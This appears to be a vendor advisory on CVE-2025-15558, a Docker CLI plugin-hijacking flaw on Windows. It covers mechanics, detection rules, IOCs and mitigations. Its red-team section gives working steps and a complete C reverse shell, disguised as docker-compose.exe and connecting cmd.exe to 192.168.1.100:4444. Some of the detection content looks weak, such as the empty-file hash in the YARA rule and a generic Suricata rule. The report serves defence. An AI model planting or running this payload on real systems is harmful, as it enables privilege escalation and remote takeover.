CVE-2025-15558
Executive Summary
CVE-2025-15558 is a privilege escalation vulnerability affecting the Docker CLI on Windows. The core issue lies in the insecure default search path for CLI plugin binaries. The Docker CLI for Windows searches for plugins in C:\ProgramData\Docker\cli-plugins, a directory that does not exist by default and is writable by low-privileged users. An attacker can pre-create this directory and place a malicious binary (e.g., docker-compose.exe, docker-buildx.exe). When a victim (or a privileged user) runs Docker CLI commands that trigger plugin loading, the malicious binary executes with the victim's privileges, potentially leading to full system compromise if the victim is an administrator.
This vulnerability is Windows-specific and does not affect Linux or macOS. It impacts Docker CLI versions up to 29.1.5 and any Windows binary using the github.com/docker/cli/cli-plugins/manager package (e.g., Docker Compose). No official patch has been released as of this report.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is a supply chain risk because it exploits the trust in the Docker CLI's plugin loading mechanism. An attacker does not need to compromise the Docker package itself; they only need to place a malicious file in a predictable, writable location. This is a classic example of a binary planting or DLL hijacking attack vector, but applied to Go-based plugin binaries.
CVSS Breakdown & Threat Level
CVSS Score: 8.8 (High)
- Attack Vector (AV): Local (L) – The attacker must have local access to the Windows machine.
- Attack Complexity (AC): Low (L) – No special conditions are required; the directory is writable by default.
- Privileges Required (PR): Low (L) – The attacker needs only low-privileged user access.
- User Interaction (UI): Required (R) – The victim must run a Docker CLI command that triggers plugin loading.
- Scope (S): Changed (C) – The attacker can escalate privileges beyond their own.
- Confidentiality (C): High (H) – Full file system access possible.
- Integrity (I): High (H) – Malicious code can modify system files.
- Availability (A): High (H) – Can lead to denial of service or ransomware.
Threat Level: High. The attack is trivial to execute, requires no special tools, and can lead to full system compromise.
Deep Dive & Mechanics
The Docker CLI for Windows uses a plugin manager to extend functionality (e.g., docker compose, docker buildx). The plugin manager searches for binaries in a predefined list of directories. One of these directories is C:\ProgramData\Docker\cli-plugins. This directory does not exist by default, and the ProgramData folder is typically writable by all authenticated users.
Attack Flow:
- Reconnaissance: The attacker identifies a target Windows machine where Docker CLI is installed.
- Preparation: The attacker creates the directory
C:\ProgramData\Docker\cli-plugins(if it doesn't exist) and places a malicious binary nameddocker-compose.exe(or any other plugin name). - Trigger: The victim runs a Docker command that invokes a plugin, e.g.,
docker compose up. - Execution: The Docker CLI searches for
docker-compose.exein the plugin directories. It finds the malicious binary inC:\ProgramData\Docker\cli-pluginsand executes it. - Escalation: If the victim is running with elevated privileges (e.g., as Administrator), the malicious binary inherits those privileges, allowing the attacker to perform privileged actions.
Why it works:
- The directory
C:\ProgramData\Docker\cli-pluginsis not created during installation, so it is not protected by ACLs. - The Docker CLI does not verify the integrity or origin of plugin binaries.
- The search order places this directory before other, more secure locations.
Vulnerable vs. Patched Code
Vulnerable Code (Docker CLI <= 29.1.5):
The plugin manager in github.com/docker/cli/cli-plugins/manager uses a hardcoded list of directories. The Windows-specific code includes C:\ProgramData\Docker\cli-plugins without checking if it exists or if it is writable by untrusted users.
// vulnerable code snippet (conceptual)
func getPluginDirs() []string {
return []string{
filepath.Join(os.Getenv("USERPROFILE"), ".docker", "cli-plugins"),
"C:\\ProgramData\\Docker\\cli-plugins", // <-- insecure
// ... other directories
}
}
Patched Code (Hypothetical): A patch would either:
- Remove the
C:\ProgramData\Docker\cli-pluginsdirectory from the search path. - Create the directory during installation with proper ACLs (only allowing Administrators to write).
- Verify the digital signature of plugin binaries before execution.
// patched code (conceptual)
func getPluginDirs() []string {
dirs := []string{
filepath.Join(os.Getenv("USERPROFILE"), ".docker", "cli-plugins"),
}
// Only add if it exists and is not writable by non-admins
programDataDir := "C:\\ProgramData\\Docker\\cli-plugins"
if info, err := os.Stat(programDataDir); err == nil {
// Check ACLs here (pseudo-code)
if isAdminOnly(programDataDir) {
dirs = append(dirs, programDataDir)
}
}
return dirs
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Windows 10/11 or Windows Server 2016+
- Docker CLI installed (any version up to 29.1.5)
- Low-privileged user account
Steps:
Create the malicious plugin directory:
New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -ForceCreate a malicious plugin binary. For example, a reverse shell:
// malicious.c - compile with: x86_64-w64-mingw32-gcc -o docker-compose.exe malicious.c #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2,2), &wsaData); SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(4444); addr.sin_addr.s_addr = inet_addr("192.168.1.100"); connect(sock, (SOCKADDR*)&addr, sizeof(addr)); STARTUPINFO si = {0}; si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, NULL); return 0; }Place the malicious binary:
Copy-Item .\docker-compose.exe "C:\ProgramData\Docker\cli-plugins\docker-compose.exe"Wait for a victim to run:
docker compose upReceive reverse shell on your listener (e.g.,
nc -lvnp 4444).
Blue Team (Detection & Defense)
Detection:
- Monitor for creation of
C:\ProgramData\Docker\cli-pluginsdirectory. - Monitor for execution of binaries from
C:\ProgramData\Docker\cli-plugins. - Use Sysmon Event ID 1 (Process Creation) to detect
docker-compose.exeordocker-buildx.exelaunched from unexpected paths.
Defense:
- Preventive: Create the directory manually with proper ACLs:
New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -Force icacls "C:\ProgramData\Docker\cli-plugins" /inheritance:r /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "SYSTEM:(OI)(CI)F" - Detective: Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted binaries from running in writable directories.
- Reactive: If compromise is suspected, check for unauthorized binaries in
C:\ProgramData\Docker\cli-pluginsand remove them.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File Path | C:\ProgramData\Docker\cli-plugins\*.exe |
Any executable in this directory (should not exist normally) |
| Process | docker-compose.exe or docker-buildx.exe launched from C:\ProgramData\Docker\cli-plugins |
Legitimate plugins are usually in user profile or system32 |
| Registry | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Persistence via malicious plugin |
| Network | Outbound connection from docker-compose.exe to unknown IP |
Reverse shell or C2 beacon |
| Event Log | Sysmon Event ID 11 (FileCreate) for C:\ProgramData\Docker\cli-plugins\*.exe |
Directory creation or file drop |
Detection Engineering
YARA Rule
rule CVE_2025_15558_Docker_CLI_Plugin_Hijack {
meta:
description = "Detects malicious Docker CLI plugin binaries in C:\\ProgramData\\Docker\\cli-plugins"
author = "Valters IT"
date = "2025-04-10"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$s1 = "C:\\ProgramData\\Docker\\cli-plugins" nocase
$s2 = "docker-compose.exe" nocase
$s3 = "docker-buildx.exe" nocase
condition:
(uint16(0) == 0x5A4D) and // MZ header
(($s1) or ($s2 or $s3))
}
Sigma Rule
title: Docker CLI Plugin Hijacking via C:\ProgramData
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation or execution of Docker CLI plugins from the insecure C:\ProgramData\Docker\cli-plugins directory
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\docker-compose.exe'
- '\docker-buildx.exe'
Image|startswith: 'C:\ProgramData\Docker\cli-plugins\'
condition: selection
falsepositives:
- Legitimate admin-created plugins (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15558 Docker CLI Plugin Outbound Connection"; flow:to_server,established; content:"|0d 0a|"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Create and secure the directory manually:
New-Item -ItemType Directory -Path "C:\ProgramData\Docker\cli-plugins" -Force icacls "C:\ProgramData\Docker\cli-plugins" /inheritance:r /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "SYSTEM:(OI)(CI)F"Monitor for unauthorized plugin binaries using the provided YARA/Sigma rules.
Restrict user permissions to prevent low-privileged users from writing to
C:\ProgramData.
Long-Term Fix:
- Docker Inc. should release a patch that either removes the insecure directory from the search path or creates it with proper ACLs during installation.
- Until a patch is available, consider using Docker Desktop's built-in plugin management or running Docker CLI in a container.
Workaround:
- Set the environment variable
DOCKER_CLI_PLUGINS_PATHto a secure, user-specific directory (e.g.,%USERPROFILE%\.docker\cli-plugins).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-15558